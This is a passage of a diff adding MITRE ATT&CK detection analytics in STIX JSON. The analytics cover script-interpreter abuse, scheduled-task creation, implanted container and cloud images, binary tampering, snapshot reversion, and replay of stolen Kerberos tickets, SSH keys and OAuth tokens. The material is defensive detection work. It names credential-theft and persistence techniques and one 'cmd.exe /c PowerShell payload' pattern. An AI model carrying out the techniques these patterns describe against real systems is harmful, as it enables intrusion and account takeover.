"x_mitre_data_component_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e", + "name": "etw:Microsoft-Windows-Win32k", + "channel": "SendMessage, PostMessage, LVM_*" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow_PostMessage_to_LVM_SORTITEMS", + "description": "Defines temporal distance between payload copy and execution trigger" + }, + { + "field": "TargetWindowClassName", + "description": "Restrict detection to SysListView32 or similar GUI elements" + }, + { + "field": "UserContextAnomalyThreshold", + "description": "Adjusts detection sensitivity to users sending window messages across session boundaries" + }, + { + "field": "InterprocessWindowMessagingFrequency", + "description": "Raise alert when rate of message-passing to foreign GUI processes exceeds baseline" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--7975ae39-8c6b-45cc-9280-98e94b666c85", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0332#AN0942", + "external_id": "AN0942" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0942", + "description": "Detects execution of AutoHotKey or AutoIT interpreters or compiled scripts used for unauthorized automation, command execution, or payload delivery, correlated with anomalous process lineage, command-line arguments, or script creation events.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=10" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Tuning this helps identify automation behavior outside expected user work hours." + }, + { + "field": "ParentProcessName", + "description": "Used to isolate cases where AHK or AutoIT scripts are spawned by suspicious or unusual processes." + }, + { + "field": "ScriptExtension", + "description": "Extensions such as .ahk, .au3, or unknown .exe names compiled from these." + }, + { + "field": "ChildProcessCount", + "description": "Threshold for number of spawned children to detect automation or modular malware behavior." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--b9f79a81-9fee-47f2-bef8-a9f64fde935e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0333#AN0943", + "external_id": "AN0943" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0943", + "description": "Detects creation of scheduled tasks via `at.exe` or WMI `Win32_ScheduledJob` class, followed by execution of anomalous processes by svchost.exe or taskeng.exe.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--f42df6f0-6395-4f0c-9376-525a031f00c3", + "name": "WinEventLog:Security", + "channel": "EventCode=4698" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TaskUser", + "description": "Unusual users creating jobs (e.g., non-admin accounts or service users)." + }, + { + "field": "ExecutionTimeWindow", + "description": "Delay between task registration and execution." + }, + { + "field": "CommandLinePattern", + "description": "Unexpected script or binary execution (e.g., cmd.exe /c PowerShell payload)." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--70e28077-c8a6-425f-94c7-a74a7140c7ce", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0333#AN0944", + "external_id": "AN0944" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0944", + "description": "Detects usage of `at` command to schedule jobs, followed by job execution and modification of job files under /var/spool/cron/atjobs.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "auditd:SYSCALL", + "channel": "write" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AtJobPath", + "description": "Monitoring additional paths (e.g., tmp-mounted spool dirs) for modified at jobs." + }, + { + "field": "ScheduleLatency", + "description": "Expected delay between at job creation and execution." + }, + { + "field": "JobScriptEntropy", + "description": "High entropy or obfuscation in at job payloads." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--98ce32fb-1b91-4487-9e5a-951375f2380e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0333#AN0945", + "external_id": "AN0945" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0945", + "description": "Detects user or root invocation of `at` command to schedule a job, followed by job execution using LaunchServices and activity in /usr/lib/cron/at.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "macos:unifiedlog", + "channel": "process: at, job runner" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "fs:fsusage", + "channel": "file access to /usr/lib/cron/at and job execution path" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:osquery", + "channel": "process_events" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AtPermissions", + "description": "Whether `at.allow` and `at.deny` are properly configured." + }, + { + "field": "ExecutionCommand", + "description": "Target binary executed via the at job." + }, + { + "field": "RunUser", + "description": "Detection of root user scheduling job with unusual command." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--de0a1136-1476-4c28-bf49-004ac3ef97f7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0334#AN0946", + "external_id": "AN0946" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0946", + "description": "Implantation of malicious code into container images followed by registry push and use in new deployments.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--b008766d-f34f-4ded-b712-659f59aaed6e", + "name": "docker:daemon", + "channel": "docker build or docker commit commands followed by docker push to internal registry" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--071a09b1-8945-46fd-8bb7-6bcc89400963", + "name": "docker:registry", + "channel": "push event of new image version from unrecognized user or context" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Time threshold between image creation and use in deployment \u2013 typically rapid in adversarial activity." + }, + { + "field": "UserContext", + "description": "The expected users or service accounts performing image pushes." + }, + { + "field": "RegistryNameRegex", + "description": "Expected naming patterns for trusted registries." + } + ], + "x_mitre_platforms": [ + "Containers" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--7845facb-50f2-4d32-ae00-6766b9410681", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0334#AN0947", + "external_id": "AN0947" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0947", + "description": "Creation or modification of cloud virtual machine images (AMIs, custom images) with persistence mechanisms, followed by infrastructure provisioning that uses these implanted images.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--b008766d-f34f-4ded-b712-659f59aaed6e", + "name": "AWS:CloudTrail", + "channel": "RegisterImage" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--071a09b1-8945-46fd-8bb7-6bcc89400963", + "name": "AWS:CloudTrail", + "channel": "ModifyImageAttribute" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--f8213cde-6b3a-420d-9ab7-41c9af1a919f", + "name": "AWS:CloudTrail", + "channel": "RunInstances" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "IAMRole", + "description": "Roles that are allowed to register and modify images should be scoped narrowly." + }, + { + "field": "ImageTagRegex", + "description": "Expected tags or naming patterns for images (e.g., 'golden-image', 'base-image')." + }, + { + "field": "LaunchWindow", + "description": "Time interval between image creation and instance launch." + } + ], + "x_mitre_platforms": [ + "IaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--a8284241-0d8e-42da-b86d-48f0d660df6c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0335#AN0948", + "external_id": "AN0948" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0948", + "description": "Detects anomalous use of macOS XPC services for code execution. Monitors for processes invoking privileged XPC daemons with abnormal parameters, unexpected binaries communicating over NSXPCConnection, or helper tools executing code outside of their expected parent process lineage. Correlates process access attempts to system-level daemons, privilege escalations via XPC misconfigurations, and injection of malicious payloads through inter-process communication.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6", + "name": "macos:unifiedlog", + "channel": "Unexpected NSXPCConnection calls by non-Apple-signed or abnormal binaries" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "execve: Helper tools invoked through XPC executing unexpected binaries" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--b9a1578e-8653-4103-be23-cb52e0b1816e", + "name": "macos:unifiedlog", + "channel": "XPC messages requesting privileged actions from untrusted or unsigned clients" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AllowedXPCClients", + "description": "Maintain allowlist of binaries permitted to invoke specific XPC services to minimize false positives." + }, + { + "field": "TimeWindow", + "description": "Threshold for correlating abnormal XPC requests with subsequent privilege escalation or process creation." + }, + { + "field": "UnsignedBinaryAlertLevel", + "description": "Adjust sensitivity of alerts for unsigned or non-Apple-signed clients initiating XPC communication." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--e2ebd04e-074d-4b90-b94c-a43048b1c3ac", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0336#AN0949", + "external_id": "AN0949" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0949", + "description": "Monitors for unexpected modifications of system or application binaries, particularly signed executables. Correlates file write events with subsequent unsigned or anomalously signed process execution, and checks for tampered binaries outside normal patch cycles.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=2" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Security", + "channel": "EventCode=4688" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "MonitoredPaths", + "description": "Define critical directories (e.g., C:\\Windows\\System32, Program Files) for binary integrity checks" + }, + { + "field": "SignatureValidation", + "description": "Adjust enforcement level of digital signature verification based on enterprise risk appetite" + }, + { + "field": "TimeWindow", + "description": "Correlate file modification with subsequent process execution within a defined time window" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--9b2ff34a-1967-46a9-b355-f9584a0715b5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0336#AN0950", + "external_id": "AN0950" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0950", + "description": "Detects modification of system or application binaries by monitoring /usr/bin, /bin, and other privileged directories. Correlates file integrity monitoring (FIM) events with unexpected process executions or service restarts.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "auditd:SYSCALL", + "channel": "open, write" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:EXECVE", + "channel": "execve" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "WatchedDirectories", + "description": "Customize monitored directories (e.g., /usr/bin, /usr/sbin, /opt/apps) for binary tampering" + }, + { + "field": "BaselineHashes", + "description": "Maintain golden file hashes for integrity validation" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--88eaf8ce-b48d-4329-a147-dd5d065cead2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0336#AN0951", + "external_id": "AN0951" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0951", + "description": "Monitors binary modification in /Applications and system library paths. Detects unsigned or improperly signed binaries executed after modification. Tracks Gatekeeper or notarization bypass attempts tied to modified binaries.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "macos:unifiedlog", + "channel": "binary modified or replaced" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "execution of modified binary without valid signature" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ApplicationPaths", + "description": "Tune which application and library directories are monitored for tampering" + }, + { + "field": "SignatureVerificationDepth", + "description": "Define strictness of code-signing validation checks" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--fa36a169-1cca-4887-b362-e3cceb02414f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0336#AN0952", + "external_id": "AN0952" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0952", + "description": "Detects unauthorized modification of host binaries, modules, or services within ESXi. Correlates tampered files with subsequent unexpected service behavior or malicious module load attempts.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "esxi:hostd", + "channel": "binary or module replacement event" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "esxi:vmkernel", + "channel": "unexpected module load" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "MonitoredModules", + "description": "Define critical ESXi binaries and kernel modules requiring integrity validation" + }, + { + "field": "CorrelationWindow", + "description": "Adjust timing correlation between binary modification and module/service anomalies" + } + ], + "x_mitre_platforms": [ + "ESXi" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--4eaeffc2-bdfa-427c-a009-daadee39457d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0337#AN0953", + "external_id": "AN0953" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0953", + "description": "Defenders can detect suspicious reversion of cloud compute instances by monitoring for unusual snapshot restores, rollback actions, or ephemeral storage resets that occur outside expected administrative workflows. From a defender\u2019s perspective, relevant detection chains include: a snapshot restore triggered by a new or rarely used account, a sequence of snapshot creation immediately followed by a restore and instance start, or rollbacks performed from anomalous geographic or network locations. These patterns may indicate attempts to remove forensic evidence or re-establish a clean execution state for persistence.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--45d0ff14-b9c4-41f5-8603-156657c20b75", + "name": "AWS:CloudTrail", + "channel": "RevertSnapshot" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--f8213cde-6b3a-420d-9ab7-41c9af1a919f", + "name": "AWS:CloudTrail", + "channel": "StartInstances" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--1361e324-b594-4c0e-a517-20cee32b8d7f", + "name": "AWS:CloudTrail", + "channel": "StopInstances" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "UserContext", + "description": "Identity of the user or service account performing rollback actions; tuned to exclude automation or approved workflows." + }, + { + "field": "TimeWindow", + "description": "Threshold for correlating snapshot creation followed by reversion within minutes; tuned to environment activity norms." + }, + { + "field": "GeoLocation", + "description": "Region or source IP where the revert request originated; tuned to align with enterprise cloud geography." + }, + { + "field": "ChangeTags", + "description": "Use of administrative tags or headers to distinguish legitimate restores from malicious activity." + } + ], + "x_mitre_platforms": [ + "IaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--e7ce6bda-a4d3-43a4-afa0-34d57c34ef0d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0338#AN0954", + "external_id": "AN0954" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0954", + "description": "Use of stolen Kerberos tickets or token impersonation resulting in logon sessions from accounts without expected interactive logon events.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5", + "name": "WinEventLog:Security", + "channel": "EventCode=4624, 4672, 4648" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Allows tuning of how far apart related logon and process events can be correlated" + }, + { + "field": "UserContext", + "description": "Customize for high-value or service accounts with restricted access policies" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--fbe17895-73cc-432e-8576-f6cab851feb1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0338#AN0955", + "external_id": "AN0955" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0955", + "description": "Access tokens or SSH keys used without corresponding login shell or PAM module activity, particularly for remote execution.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e", + "name": "auditd:SYSCALL", + "channel": "execution of ssh, scp, or sftp using previously unseen credentials or keys" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5", + "name": "NSM:Connections", + "channel": "Accepted publickey for user from unusual IP or without tty" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "SourceIPWhitelist", + "description": "Tune for approved jump boxes or bastion hosts" + }, + { + "field": "AuthMethod", + "description": "Filter on use of password vs publickey methods for better coverage" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--367cfbd9-fcfd-4336-863e-b6917ff71cb4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0338#AN0956", + "external_id": "AN0956" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0956", + "description": "Token replay or impersonation in federated logins without interactive browser session or MFA prompts.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--ff93f688-d7a4-49cf-9c79-a14454da8428", + "name": "azure:signinLogs", + "channel": "TokenIssuanceStart, TokenIssuanceSuccess" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e", + "name": "m365:unified", + "channel": "login using refresh_token with no preceding authentication context" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "MFAContextRequired", + "description": "Customize for accounts where MFA must always precede token issuance" + }, + { + "field": "RefreshTokenReuseThreshold", + "description": "Threshold for number of times a refresh token is reused without re-auth" + } + ], + "x_mitre_platforms": [ + "Identity Provider" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--7fb5fe4f-ecd1-45a1-8a0f-dc913587e650", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0338#AN0957", + "external_id": "AN0957" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0957", + "description": "Unusual reuse of OAuth access tokens from different geographic regions, without full login events.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--ff93f688-d7a4-49cf-9c79-a14454da8428", + "name": "saas:googleworkspace", + "channel": "access_token issued" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e", + "name": "saas:googleworkspace", + "channel": "API access without user login" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": 